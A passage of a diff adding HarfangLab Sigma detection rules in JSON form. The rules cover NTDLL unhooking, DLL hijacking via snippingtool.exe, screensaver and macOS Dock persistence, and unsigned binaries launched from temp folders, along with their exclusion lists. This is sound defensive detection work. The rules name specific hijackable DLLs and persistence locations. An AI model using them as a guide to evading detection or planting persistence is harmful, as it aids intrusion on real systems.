+  "content": "title: Windows NTDLL Loaded from Suspicious Location\nid: bcf0b2cb-5479-4c69-a09a-83fa7f36b5fa\ndescription: |\n    Detects the loading of the Microsoft NT Layer DLL (NTDLL) from a location different than the Windows system folder.\n    This can be indicative of userland hooking bypass by loading a fresh, unhooked NTDLL.\n    It is recommended to investigate the process loading the NTDLL to look for malicious content or actions.\nreferences:\n    - https://twitter.com/SBousseaden/status/1569399429777526785\n    - https://attack.mitre.org/techniques/T1562/\ndate: 2022/09/19\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        OriginalFileName: 'ntdll.dll'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    filter_legitimate_image:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\SyChpe32\\' # x86-on-ARM\n            - '?:\\Windows\\WinSxS\\'\n            # Very weird cases when a host loads an NTDLL present on the mounted\n            # disk of another machine...\n            - '\\\\\\*\\\\?$\\Windows\\System32\\'\n            - '\\\\\\*\\\\?$\\Windows\\SysWOW64\\'\n            - '\\\\\\*\\\\?$\\Windows\\SyChpe32\\' # x86-on-ARM\n            - '\\\\\\*\\\\?$\\Windows\\WinSxS\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n\n    exclusion_mediview:\n        ImageLoaded|startswith:\n            - '?:\\Mediview\\resources\\utils\\mben\\'\n            - '?:\\Mediview\\resources\\utils\\imageenhance\\'\n\n    exclusion_safe_os:\n        ImageLoaded: '?:\\$WINDOWS.~BT\\Sources\\SafeOS\\SafeOS.Mount\\Windows\\System32\\ntdll.dll'\n\n    exclusion_vss:\n        ImageLoaded: '\\\\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy*\\Windows\\System32\\ntdll.dll'\n\n    exclusion_ccmexec:\n        # C:\\Windows\\SoftwareDistribution\\Download\\2bb04f6f8c5f4e57fe18b3aa6b335e19\\amd64_microsoft-windows-ntdll_31bf3856ad364e35_6.1.7601.24260_none_b74c23c82c1754c1\\ntdll.dll\n        ImageLoaded: '?:\\Windows\\SoftwareDistribution\\Download\\\\*\\amd64_microsoft-windows-ntdll*'\n        ProcessImage: '?:\\WINDOWS\\CCM\\CcmExec.exe'\n\n    exclusion_dlservice:\n        ProcessImage:\n            - '?:\\Program Files\\DeviceLock Agent\\DLService.exe'\n            - '?:\\Program Files (x86)\\DeviceLock\\DeviceLock Agent\\DLService.exe'\n            - '?:\\Program Files\\BackupClient\\DeviceLock\\DLService.exe'\n            - '?:\\Program Files (x86)\\BackupClient\\DeviceLock\\DLService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Acronis International GmbH'\n            - 'DeviceLock, Inc'\n        # ImageLoaded: '?:\\Program Files\\DeviceLock Agent\\DL????.tmp'\n\n    exclusion_windows_sandbox:\n        ImageLoaded|startswith: '\\Device\\vmsmb\\VSMB-'\n\n    exclusion_gameguard_gamemon:\n        # C:\\Program Files (x86)\\Steam\\steamapps\\common\\Summoners War Chronicles\\GameGuard\\GameMon.des\n        ProcessSigned: 'true'\n        ProcessSignature: 'INCA Internet Co.,Ltd.'\n        ProcessImage:\n            - '*\\GameGuard\\GameMon64.des'\n            - '*\\GameGuard\\GameMon.des'\n\n    exclusion_devicelock:\n        ProcessImage:\n            - '?:\\Program Files\\DeviceLock Agent\\DLService.exe'\n            - '?:\\Program Files\\BackupClient\\DeviceLock\\DLPService.exe'\n        ProcessCompany:\n            - 'DeviceLock, Inc'\n            - 'Acronis International GmbH'\n        ImageLoaded:\n            - '?:\\Program Files\\DeviceLock Agent\\\\*.tmp'\n            - '?:\\Program Files\\BackupClient\\DeviceLock\\\\*.tmp'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bcf0b2cb-5479-4c69-a09a-83fa7f36b5fa",
+  "rule_name": "Windows NTDLL Loaded from Suspicious Location",
+  "rule_description": "Detects the loading of the Microsoft NT Layer DLL (NTDLL) from a location different than the Windows system folder.\nThis can be indicative of userland hooking bypass by loading a fresh, unhooked NTDLL.\nIt is recommended to investigate the process loading the NTDLL to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-09-19",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd1ecd51-88ca-462b-97a4-f0fa469ff509",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618170Z",
+  "creation_date": "2026-03-23T11:45:34.618172Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618176Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_untrusted_process_execution.yml",
+  "content": "title: Untrusted Process Executed from an Uncommon Location\nid: bd1ecd51-88ca-462b-97a4-f0fa469ff509\ndescription: |\n    Detects an unsigned or self-signed binary being launched from an uncommon folder.\n    Attackers may use unsigned or self-signed binaries in order to execute malicious commands and bypass defenses.\n    It is recommended to check any children of this process and the activities of the parent for other malicious behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2024/07/22\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_folder:\n        Image|startswith:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Library/PrivilegedHelperTools/'\n\n    selection_unsigned:\n        - Signed: 'false'\n        - Signed: 'true'\n          CodesigningFlagsStr|contains: 'CS_ADHOC'\n\n    exclusion_homebrew:\n        - ProcessParentImage|startswith:\n            - '/opt/homebrew/'\n            - '/Users/*/.brew/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/homebrew/'\n            - '/Users/*/.brew/'\n        - ProcessParentCommandLine|contains:\n            - '/opt/homebrew/'\n            - '/Users/*/.brew/'\n        - ProcessGrandparentCommandLine|contains:\n            - '/opt/homebrew/'\n            - '/Users/*/.brew/'\n\n    exclusion_nix:\n        - ProcessImage|startswith: '/nix/store/'\n          ProcessSigned: 'true'\n          ProcessCodesigningFlagsStr|contains: 'CS_ADHOC'\n        - ProcessParentImage|startswith: '/nix/store/'\n          ProcessParentSigned: 'true'\n          ProcessParentCodesigningFlagsStr|contains: 'CS_ADHOC'\n        - ProcessImage|startswith: '/private/tmp/nix-build-'\n\n    exclusion_cleanmymac:\n        SignatureSigningId: 'com.macpaw.CleanMyMac4.Agent'\n        Image: '/Library/PrivilegedHelperTools/com.macpaw.CleanMyMac4.Agent'\n        Signed: 'true'\n        CodesigningFlagsStr|contains: 'CS_ADHOC'\n\n    exclusion_epicgames:\n        Image|startswith: '/Users/Shared/Epic Games/UE_*/Engine/'\n\n    exclusion_parallels:\n        Image|startswith: '/Users/Shared/Parallels/'\n\n    exclusion_tunnelin:\n        Image: '/private/etc/tunnelin_client/tunnelin_client'\n\n    exclusion_openssl:\n        Image: '/private/tmp/openssl*/openssl-*/*'\n\n    exclusion_docker:\n        Image: '/Library/PrivilegedHelperTools/com.docker.socket'\n\n    exclusion_pkinstall:\n        Image|startswith: '/private/tmp/PKInstallSandbox.'\n\n    exclusion_cmake:\n        Image|startswith: '/private/tmp/cmake'\n\n    exclusion_bazel:\n        - GrandparentImage|startswith: '/private/var/tmp/_bazel*/'\n        - ParentImage|startswith: '/private/var/tmp/_bazel*/'\n        - Image|startswith: '/private/var/tmp/_bazel*/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd1ecd51-88ca-462b-97a4-f0fa469ff509",
+  "rule_name": "Untrusted Process Executed from an Uncommon Location",
+  "rule_description": "Detects an unsigned or self-signed binary being launched from an uncommon folder.\nAttackers may use unsigned or self-signed binaries in order to execute malicious commands and bypass defenses.\nIt is recommended to check any children of this process and the activities of the parent for other malicious behavior.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd421807-c4fb-499a-8693-4f2cabebf246",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586675Z",
+  "creation_date": "2026-03-23T11:45:34.586679Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586687Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_snippingtool.yml",
+  "content": "title: DLL Hijacking via snippingtool.exe\nid: bd421807-c4fb-499a-8693-4f2cabebf246\ndescription: |\n    Detects potential Windows DLL Hijacking via snippingtool.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'snippingtool.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\dwmapi.dll'\n            - '\\msdrm.dll'\n            - '\\oleacc.dll'\n            - '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd421807-c4fb-499a-8693-4f2cabebf246",
+  "rule_name": "DLL Hijacking via snippingtool.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via snippingtool.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd48810c-d072-43af-ba2d-ae8b2fda0912",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620531Z",
+  "creation_date": "2026-03-23T11:45:34.620533Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620537Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1546/002/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1546_002_registry_screensaver_modification.yml",
+  "content": "title: Screensaver Path Changed in Registry\nid: bd48810c-d072-43af-ba2d-ae8b2fda0912\ndescription: |\n    Detects a modification of the screensaver key in the registry.\n    Adversaries may establish persistence by executing malicious content triggered by user inactivity.\n    Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.\n    It is recommended to investigate the process that modified the registry value and to verify the legitimacy of the .scr file added as the new screensaver.\nreferences:\n    - https://attack.mitre.org/techniques/T1546/002/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2022/11/14\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\Control Panel\\Desktop\\SCRNSAVE.exe'\n\n    exclusion_empty:\n        Details:\n            - '(Empty)'\n            - ''\n            - '-'\n\n    exclusion_programfiles:\n        ProcessParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessParentSigned: 'true'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_schedule:\n        ProcessGrandparentCommandLine|endswith:\n            - '\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '\\svchost.exe -k netsvcs -p' # windows versions 10 before 1703\n            - '\\taskeng.exe' # on older windows versions\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_mtxproxy:\n        - ProcessGrandparentImage|endswith: 'mtxproxy.exe'\n        - ProcessParentImage|endswith: 'mtxproxy.exe'\n\n    exclusion_maincare:\n        - ProcessCompany: 'Maincare Solutions'\n        - Details:\n            - '?:\\Windows\\TEMP\\CWSSO\\SCREEN~1.SCR'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\CWSSO\\SCREEN~1.SCR'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\CWSSO\\SCREEN~1.SCR'\n\n    exclusion_bmc:\n        ProcessCurrentDirectory: '?:\\Program Files\\BMC Software\\Client Management\\Client\\bin'\n        ProcessCommandLine: 'REG ADD HKCU\\Control Panel\\Desktop /v SCRNSAVE.EXE /t REG_SZ /d ?:\\windows\\system32\\PhotoScreensaver.scr /f'\n        Details: '?:\\windows\\system32\\PhotoScreensaver.scr'\n\n    # this is the default screensaver\n    exclusion_scrnsave:\n        Details:\n            - 'scrnsave.scr'\n            - '?:\\windows\\system32\\scrnsave.scr'\n            - '%windir%\\system32\\scrnsave.scr'\n\n    exclusion_ribbons:\n        Details:\n            - 'Ribbons.scr'\n            - '?:\\Windows\\system32\\Ribbons.scr'\n            - '%windir%\\system32\\Ribbons.scr'\n\n    exclusion_shell32:\n        ProcessCommandLine: '?:\\Windows\\System32\\rundll32.exe shell32.dll,Control_RunDLL desk.cpl,ScreenSaver,@ScreenSaver'\n\n    exclusion_migration1:\n        ProcessOriginalFileName: 'MigHost.exe'\n        ProcessParentImage|endswith:\n            - '\\SetupHost.exe'\n            - '\\SetupPlatform.exe'\n    exclusion_migration2:\n        ProcessAncestors|contains: '|?:\\Windows\\CCM\\OSDUpgradeOS.exe|?:\\Windows\\CCM\\TSManager.exe|'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        #ProcessParentImage: '?:\\Windows\\SoftwareDistribution\\\\*\\WindowsUpdateBox.exe'\n        #ProcessGrandparentImage: '?:\\Windows\\System32\\wuauclt.exe'\n\n    exclusion_asus:\n        ProcessOriginalFileName: 'AsusOptimizationStartupTask.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ASUSTeK COMPUTER INC.'\n\n    exclusion_mighost:\n        ProcessOriginalFileName: 'MigHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        Details: '?:\\windows\\system32\\PhotoScreensaver.scr'\n\n    exclusion_bubbles:\n        Details: '?:\\windows\\system32\\Bubbles.scr'\n\n    exclusion_netplay:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Netpresenter\\NetPlay.exe'\n            - '?:\\Program Files\\Netpresenter\\NetPlay.exe'\n            - '?:\\Program Files (x86)\\Netpresenter\\NpAgent.exe'\n            - '?:\\Program Files\\Netpresenter\\NpAgent.exe'\n        Details: '?:\\Windows\\NETPRE~1.SCR'\n\n    exclusion_mindray:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Mindray CMS\\CmsDaemon\\CMSStation.exe'\n            - '?:\\Program Files\\Mindray CMS\\CmsDaemon\\CMSStation.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Program Files\\Citrix\\User Profile Manager\\UserProfileManager.exe'\n\n    exclusion_mcafee:\n        # McAfee DLP Endpoint Service\n        ProcessOriginalFileName: 'fcags.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'McAfee, Inc.'\n\n    exclusion_configsecuritypolicy:\n        ProcessOriginalFileName: 'ConfigSecurityPolicy.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_clmlive:\n        ProcessGrandparentImage: '?:\\AVI\\CLMLIVE\\ClmLive.exe'\n        ProcessParentImage: '?:\\AVI\\CLMLIVE\\jre?_64\\bin\\javaw.exe'\n        Details:\n            - '?:\\AVI\\Jeep-Java\\Jeep-Java.scr'\n            - '?:\\AVI\\JEEP\\jeep.scr'\n\n    exclusion_amcorre:\n        ProcessOriginalFileName: 'AMCORRE.EXE'\n        ProcessLegalCopyright: 'Maincare Solutions France 1999-202?'\n        Details: '?:\\WINDOWS\\system32\\PhotoScreensaver.scr'\n\n    exclusion_sccm:\n        ProcessParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ivanti:\n        ProcessOriginalFileName: 'pfwsmgr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_mediqual:\n        ProcessImage: '?:\\Program Files (x86)\\Mediqual7\\M61W7C.exe'\n        ProcessOriginalFileName: 'MediFrameWork.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd48810c-d072-43af-ba2d-ae8b2fda0912",
+  "rule_name": "Screensaver Path Changed in Registry",
+  "rule_description": "Detects a modification of the screensaver key in the registry.\nAdversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.\nIt is recommended to investigate the process that modified the registry value and to verify the legitimacy of the .scr file added as the new screensaver.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd60d353-8f30-4566-9840-622d4dbb9b5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092779Z",
+  "creation_date": "2026-03-23T11:45:34.092781Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092786Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/en-us/blog/labs/new-macos-backdoor-written-in-rust-shows-possible-link-with-windows-ransomware-group",
+    "https://attack.mitre.org/techniques/T1647/"
+  ],
+  "name": "t1647_defaults_plist_modification.yml",
+  "content": "title: Application Added to Dock via defaults\nid: bd60d353-8f30-4566-9840-622d4dbb9b5f\ndescription: |\n    Detects when a program is added to the macOS's Dock using defaults.\n    Defaults allows users to read, write, and delete macOS user default values.\n    The com.apple.dock.plist file defines the content of the macOS Dock.\n    Adversaries may add their malicious program to the com.apple.dock.plist file to make their program show in the computer's Dock and achieve persistence.\n    It is recommended to check if the modification is legitimate.\nreferences:\n    - https://www.bitdefender.com/en-us/blog/labs/new-macos-backdoor-written-in-rust-shows-possible-link-with-windows-ransomware-group\n    - https://attack.mitre.org/techniques/T1647/\ndate: 2024/07/08\nmodified: 2025/09/22\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1647\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.SystemModification\n    - classification.macOS.LOLBin.Defaults\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/defaults'\n        CommandLine|contains|all:\n            - 'com.apple.dock'\n            - ' write '\n            - 'persistent-apps'\n        ProcessParentImage|contains: '/'\n\n    exclusion_superhuman:\n        GrandparentImage: '/Applications/Superhuman.app/Contents/MacOS/Superhuman'\n\n    exclusion_roblox:\n        ParentCommandLine:\n            - '/Volumes/RobloxStudioInstaller/RobloxStudioInstaller.app/Contents/MacOS/RobloxStudioInstaller'\n            - '/Volumes/RobloxPlayerInstaller/RobloxPlayerInstaller.app/Contents/MacOS/RobloxPlayerInstaller'\n\n    exclusion_intunes:\n        Ancestors|contains: '/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon'\n\n    exclusion_legitimate_apps:\n        ProcessCommandLine|contains:\n            - '<string>/applications/company portal.app</string>'\n            - '<string>/applications/firefox.app</string>'\n            - '<string>/applications/microsoft excel.app</string>'\n            - '<string>/applications/microsoft outlook.app</string>'\n            - '<string>/applications/microsoft powerpoint.app</string>'\n            - '<string>/applications/microsoft teams.app</string>'\n            - '<string>/applications/microsoft word.app</string>'\n            - '<string>/applications/serato dj pro.app</string>'\n            - '<string>/system/applications/app store.app</string>'\n            - '<string>/system/applications/launchpad.app</string>'\n            - '<string>/system/applications/system settings.app</string>'\n            - '<string>/system/applications/utilities/terminal.app</string>'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bd60d353-8f30-4566-9840-622d4dbb9b5f",
+  "rule_name": "Application Added to Dock via defaults",
+  "rule_description": "Detects when a program is added to the macOS's Dock using defaults.\nDefaults allows users to read, write, and delete macOS user default values.\nThe com.apple.dock.plist file defines the content of the macOS Dock.\nAdversaries may add their malicious program to the com.apple.dock.plist file to make their program show in the computer's Dock and achieve persistence.\nIt is recommended to check if the modification is legitimate.\n",
+  "rule_creation_date": "2024-07-08",
+  "rule_modified_date": "2025-09-22",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1647"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bd717793-fde9-4539-90cd-c62f18ae2c99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601925Z",
+  "creation_date": "2026-03-23T11:45:34.601929Z",
+  "enabled": true,
